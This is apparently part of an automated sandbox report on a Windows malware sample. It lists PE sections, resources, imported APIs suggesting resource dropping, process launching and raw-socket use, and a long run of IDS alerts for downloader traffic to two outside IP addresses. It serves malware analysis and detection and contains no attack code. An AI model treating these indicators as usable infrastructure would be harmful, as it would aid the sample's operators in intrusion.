.CG	0x14000	0x2000	0x1c00	769d77fbde7bb91d8e3ab6c16f4b01f1	False	0.5341796875	data	5.783383892628231	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.adata	0x16000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMAGE	0x748c	0xb208	data	Chinese	China	0.9606591188344743
RT_CURSOR	0x12694	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x127c8	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x128fc	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x12a30	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x12b64	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x12c98	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x12dcc	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0x15714	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768			0.40022935779816515
RT_ICON	0x153ac	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768			0.4025229357798165
RT_GROUP_CURSOR	0x135d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x135e4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x135f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1360c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13620	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13634	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13648	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x15398	0x14	data			1.25
RT_GROUP_ICON	0x15384	0x14	data			1.1
RT_VERSION	0x15124	0x260	data	English	United States	0.5723684210526315

Imports

DLL	Import
MFC42.DLL
MSVCRT.dll	__set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, _onexit, __dllonexit, strncpy, sprintf, strcpy, _ftol, _except_handler3, memset, memcpy, srand, rand, _setmbcp, __CxxFrameHandler, _EH_prolog, __p___argv, _controlfp
KERNEL32.dll	CreateFileA, ExitProcess, WinExec, WriteFile, GetTempPathA, Sleep, LockResource, SizeofResource, LoadResource, CreateProcessA, GetModuleFileNameA, ReadFile, FindResourceA, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, GetSystemTime, CreateThread, TerminateThread, GetModuleHandleA, GetStartupInfoA, DeleteFileA, CreateDirectoryA, CloseHandle, GetTickCount
USER32.dll	DrawIcon, GetClientRect, GetSystemMetrics, IsIconic, GetSystemMenu, wsprintfA, EnableWindow, SendMessageA, LoadIconA, AppendMenuA
GDI32.dll	CreateSolidBrush, DeleteObject
WS2_32.dll	setsockopt, WSAIoctl, htons, gethostbyname, gethostname, socket, inet_ntoa, ntohl, ntohs, WSACleanup, WSAStartup, closesocket, recv, WSAGetLastError, bind

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T16:23:53.890560+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49751	107.163.241.204	12354	TCP
2024-12-11T16:23:53.890593+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49750	107.163.241.204	12354	TCP
2024-12-11T16:23:56.303416+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49772	107.163.241.204	12354	TCP
2024-12-11T16:23:56.303417+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49773	107.163.241.204	12354	TCP
2024-12-11T16:23:56.791299+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49784	202.108.0.52	80	TCP
2024-12-11T16:23:58.018318+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49796	107.163.241.204	12354	TCP
2024-12-11T16:23:58.018413+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49798	107.163.241.204	12354	TCP
2024-12-11T16:23:59.829136+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49816	202.108.0.52	80	TCP
2024-12-11T16:24:00.253086+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49814	107.163.241.204	12354	TCP
2024-12-11T16:24:00.382672+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49815	107.163.241.204	12354	TCP
2024-12-11T16:24:02.018923+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49842	107.163.241.204	12354	TCP
2024-12-11T16:24:02.018923+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49840	107.163.241.204	12354	TCP
2024-12-11T16:24:03.868947+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49859	202.108.0.52	80	TCP
2024-12-11T16:24:04.284200+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49857	107.163.241.204	12354	TCP
2024-12-11T16:24:04.422135+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49860	107.163.241.204	12354	TCP
2024-12-11T16:24:06.030356+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49884	107.163.241.204	12354	TCP
2024-12-11T16:24:06.030511+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49887	107.163.241.204	12354	TCP
2024-12-11T16:24:08.003779+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49906	202.108.0.52	80	TCP
2024-12-11T16:24:08.265325+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49903	107.163.241.204	12354	TCP
2024-12-11T16:24:08.390411+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49905	107.163.241.204	12354	TCP
2024-12-11T16:24:10.158882+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49932	107.163.241.204	12354	TCP
2024-12-11T16:24:10.158902+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49929	107.163.241.204	12354	TCP
2024-12-11T16:24:12.056552+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49954	202.108.0.52	80	TCP
2024-12-11T16:24:12.390865+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49952	107.163.241.204	12354	TCP
2024-12-11T16:24:12.624896+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49955	107.163.241.204	12354	TCP
2024-12-11T16:24:14.176674+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49983	107.163.241.204	12354	TCP
2024-12-11T16:24:14.176738+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49979	107.163.241.204	12354	TCP
2024-12-11T16:24:16.057989+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50003	202.108.0.52	80	TCP
2024-12-11T16:24:16.422328+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50000	107.163.241.204	12354	TCP
2024-12-11T16:24:16.657593+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50002	107.163.241.204	12354	TCP
2024-12-11T16:24:18.190233+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50028	107.163.241.204	12354	TCP
2024-12-11T16:24:18.190278+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50032	107.163.241.204	12354	TCP
2024-12-11T16:24:20.017510+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50051	202.108.0.52	80	TCP
2024-12-11T16:24:20.459981+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50048	107.163.241.204	12354	TCP
2024-12-11T16:24:20.547172+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50050	107.163.241.204	12354	TCP
2024-12-11T16:24:22.233432+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50080	107.163.241.204	12354	TCP
2024-12-11T16:24:22.233453+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50077	107.163.241.204	12354	TCP
2024-12-11T16:24:24.055802+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50103	202.108.0.52	80	TCP
2024-12-11T16:24:24.482620+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50100	107.163.241.204	12354	TCP
2024-12-11T16:24:24.594050+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50102	107.163.241.204	12354	TCP
2024-12-11T16:24:26.236605+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50130	107.163.241.204	12354	TCP
2024-12-11T16:24:26.236679+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50127	107.163.241.204	12354	TCP
2024-12-11T16:24:28.046919+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50153	202.108.0.52	80	TCP
2024-12-11T16:24:28.529616+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50150	107.163.241.204	12354	TCP
2024-12-11T16:24:28.649777+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50152	107.163.241.204	12354	TCP
2024-12-11T16:24:30.251968+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50177	107.163.241.204	12354	TCP
2024-12-11T16:24:30.252001+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50180	107.163.241.204	12354	TCP
2024-12-11T16:24:32.061847+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50203	202.108.0.52	80	TCP
2024-12-11T16:24:32.484735+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50200	107.163.241.204	12354	TCP
2024-12-11T16:24:32.610317+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50204	107.163.241.204	12354	TCP
2024-12-11T16:24:34.260322+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50236	107.163.241.204	12354	TCP
2024-12-11T16:24:34.260451+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50233	107.163.241.204	12354	TCP
2024-12-11T16:24:36.063719+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50258	202.108.0.52	80	TCP
2024-12-11T16:24:36.482958+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50255	107.163.241.204	12354	TCP
2024-12-11T16:24:36.603552+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50257	107.163.241.204	12354	TCP
2024-12-11T16:24:38.268096+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50289	107.163.241.204	12354	TCP
2024-12-11T16:24:38.268130+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50292	107.163.241.204	12354	TCP
2024-12-11T16:24:40.515932+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50317	107.163.241.204	12354	TCP
2024-12-11T16:24:40.623860+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50319	107.163.241.204	12354	TCP
2024-12-11T16:24:42.283052+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50356	107.163.241.204	12354	TCP
2024-12-11T16:24:42.283196+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50320	202.108.0.52	80	TCP
2024-12-11T16:24:42.283199+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50354	107.163.241.204	12354	TCP
2024-12-11T16:24:44.516425+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50382	107.163.241.204	12354	TCP
2024-12-11T16:24:44.640596+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50385	107.163.241.204	12354	TCP
2024-12-11T16:24:44.655236+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50386	202.108.0.52	80	TCP
2024-12-11T16:24:46.307062+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50414	107.163.241.204	12354	TCP
2024-12-11T16:24:46.307144+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50416	107.163.241.204	12354	TCP
2024-12-11T16:24:48.144847+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50451	202.108.0.52	80	TCP
2024-12-11T16:24:48.533080+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50446	107.163.241.204	12354	TCP
2024-12-11T16:24:48.691211+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50450	107.163.241.204	12354	TCP
2024-12-11T16:24:50.455795+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50487	107.163.241.204	12354	TCP
2024-12-11T16:24:50.455806+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50483	107.163.241.204	12354	TCP
2024-12-11T16:24:52.271421+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50520	202.108.0.52	80	TCP
2024-12-11T16:24:52.688069+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50517	107.163.241.204	12354	TCP
2024-12-11T16:24:52.812873+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50521	107.163.241.204	12354	TCP
2024-12-11T16:24:54.470959+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50571	107.163.241.204	12354	TCP
2024-12-11T16:24:54.471060+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50574	107.163.241.204	12354	TCP
2024-12-11T16:24:56.292372+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50615	202.108.0.52	80	TCP
2024-12-11T16:24:56.785363+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50610	107.163.241.204	12354	TCP
2024-12-11T16:24:56.829068+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50614	107.163.241.204	12354	TCP
2024-12-11T16:24:58.489654+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50681	107.163.241.204	12354	TCP
2024-12-11T16:24:58.489687+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50675	107.163.241.204	12354	TCP
2024-12-11T16:25:00.327134+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50731	202.108.0.52	80	TCP
2024-12-11T16:25:00.857922+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50726	107.163.241.204	12354	TCP
2024-12-11T16:25:00.876287+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50730	107.163.241.204	12354	TCP
2024-12-11T16:25:02.673947+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50810	107.163.241.204	12354	TCP
2024-12-11T16:25:02.673978+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50804	107.163.241.204	12354	TCP
2024-12-11T16:25:04.663212+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50862	202.108.0.52	80	TCP
2024-12-11T16:25:05.064847+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50858	107.163.241.204	12354	TCP
2024-12-11T16:25:05.186377+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50861	107.163.241.204	12354	TCP
2024-12-11T16:25:06.955156+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50959	107.163.241.204	12354	TCP
2024-12-11T16:25:06.955323+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50969	107.163.241.204	12354	TCP
2024-12-11T16:25:08.789547+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51060	202.108.0.52	80	TCP
2024-12-11T16:25:09.188278+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51054	107.163.241.204	12354	TCP
2024-12-11T16:25:09.298687+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51059	107.163.241.204	12354	TCP
2024-12-11T16:25:10.955064+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51174	107.163.241.204	12354	TCP
2024-12-11T16:25:10.955087+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51165	107.163.241.204	12354	TCP
2024-12-11T16:25:12.778422+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51280	202.108.0.52	80	TCP
2024-12-11T16:25:13.188982+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51270	107.163.241.204	12354	TCP
2024-12-11T16:25:13.424881+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51281	107.163.241.204	12354	TCP
2024-12-11T16:25:15.095798+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51398	107.163.241.204	12354	TCP
2024-12-11T16:25:15.095859+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51413	107.163.241.204	12354	TCP
2024-12-11T16:25:16.915501+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51528	202.108.0.52	80	TCP
2024-12-11T16:25:17.345616+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51518	107.163.241.204	12354	TCP
2024-12-11T16:25:17.438537+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51526	107.163.241.204	12354	TCP
2024-12-11T16:25:19.111413+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51656	107.163.241.204	12354	TCP
2024-12-11T16:25:19.111431+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51647	107.163.241.204	12354	TCP
2024-12-11T16:25:20.919423+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	51755	202.108.0.52	80	TCP
2024-12-11T16:25:21.344835+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51746	107.163.241.204	12354	TCP
2024-12-11T16:25:21.459218+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51754	107.163.241.204	12354	TCP
2024-12-11T16:25:23.130264+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51895	107.163.241.204	12354	TCP
2024-12-11T16:25:23.130347+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	51887	107.163.241.204	12354	TCP
2024-12-11T16:25:25.009831+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	53200	202.108.0.52	80	TCP
2024-12-11T16:25:25.398283+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53096	107.163.241.204	12354	TCP
2024-12-11T16:25:25.488125+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53196	107.163.241.204	12354	TCP
2024-12-11T16:25:27.142945+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55373	107.163.241.204	12354	TCP
2024-12-11T16:25:27.143418+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55196	107.163.241.204	12354	TCP
2024-12-11T16:25:28.958074+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56944	202.108.0.52	80	TCP
2024-12-11T16:25:29.394582+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56825	107.163.241.204	12354	TCP
2024-12-11T16:25:29.502142+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56943	107.163.241.204	12354	TCP
2024-12-11T16:25:31.158000+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58262	107.163.241.204	12354	TCP
2024-12-11T16:25:31.158120+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58391	107.163.241.204	12354	TCP
2024-12-11T16:25:32.986227+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	60100	202.108.0.52	80	TCP
2024-12-11T16:25:33.409008+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59886	107.163.241.204	12354	TCP
2024-12-11T16:25:33.582161+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60187	107.163.241.204	12354	TCP
2024-12-11T16:25:35.161257+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62140	107.163.241.204	12354	TCP
2024-12-11T16:25:35.161334+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62324	107.163.241.204	12354	TCP
2024-12-11T16:25:36.966819+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	63952	202.108.0.52	80	TCP
2024-12-11T16:25:37.393782+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63850	107.163.241.204	12354	TCP
2024-12-11T16:25:37.527730+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	63953	107.163.241.204	12354	TCP
2024-12-11T16:25:39.174337+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50337	202.108.0.52	80	TCP
2024-12-11T16:25:39.174379+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49568	107.163.241.204	12354	TCP
2024-12-11T16:25:39.174382+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49408	107.163.241.204	12354	TCP
2024-12-11T16:25:40.982007+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50977	202.108.0.52	80	TCP
2024-12-11T16:25:41.422540+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50887	107.163.241.204	12354	TCP
2024-12-11T16:25:41.516828+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50978	107.163.241.204	12354	TCP
2024-12-11T16:25:43.390201+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	53380	202.108.0.52	80	TCP
2024-12-11T16:25:43.390315+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52262	107.163.241.204	12354	TCP
2024-12-11T16:25:43.390350+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	52324	107.163.241.204	12354	TCP
2024-12-11T16:25:45.263834+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	53422	202.108.0.52	80	TCP
2024-12-11T16:25:45.704668+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53384	107.163.241.204	12354	TCP
2024-12-11T16:25:45.820890+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	53421	107.163.241.204	12354	TCP
2024-12-11T16:25:47.489520+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55526	107.163.241.204	12354	TCP
2024-12-11T16:25:47.489539+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	55962	202.108.0.52	80	TCP
2024-12-11T16:25:47.489568+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	55505	107.163.241.204	12354	TCP
2024-12-11T16:25:49.296299+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	56327	202.108.0.52	80	TCP
2024-12-11T16:25:49.735788+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56247	107.163.241.204	12354	TCP
2024-12-11T16:25:49.845073+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	56326	107.163.241.204	12354	TCP
2024-12-11T16:25:51.501863+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58061	107.163.241.204	12354	TCP
2024-12-11T16:25:51.501893+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	58828	202.108.0.52	80	TCP
2024-12-11T16:25:51.501922+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	57951	107.163.241.204	12354	TCP
2024-12-11T16:25:53.311911+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	59066	202.108.0.52	80	TCP
2024-12-11T16:25:53.740745+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	58996	107.163.241.204	12354	TCP
2024-12-11T16:25:53.848769+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	59064	107.163.241.204	12354	TCP
2024-12-11T16:25:55.520324+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60767	107.163.241.204	12354	TCP
2024-12-11T16:25:55.520327+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	60826	107.163.241.204	12354	TCP
2024-12-11T16:25:57.315350+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	62750	202.108.0.52	80	TCP
2024-12-11T16:25:57.751798+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62599	107.163.241.204	12354	TCP
2024-12-11T16:25:57.861170+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	62749	107.163.241.204	12354	TCP
2024-12-11T16:25:59.533787+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64837	107.163.241.204	12354	TCP
2024-12-11T16:25:59.533787+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49590	202.108.0.52	80	TCP
2024-12-11T16:25:59.533794+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	64938	107.163.241.204	12354	TCP
2024-12-11T16:26:01.342570+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49927	202.108.0.52	80	TCP
2024-12-11T16:26:01.783128+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49903	107.163.241.204	12354	TCP
2024-12-11T16:26:01.892106+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49928	107.163.241.204	12354	TCP
2024-12-11T16:26:03.552117+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50952	107.163.241.204	12354	TCP
2024-12-11T16:26:03.552519+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	50770	107.163.241.204	12354	TCP
2024-12-11T16:26:05.328584+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	52124	202.108.0.52	80	TCP
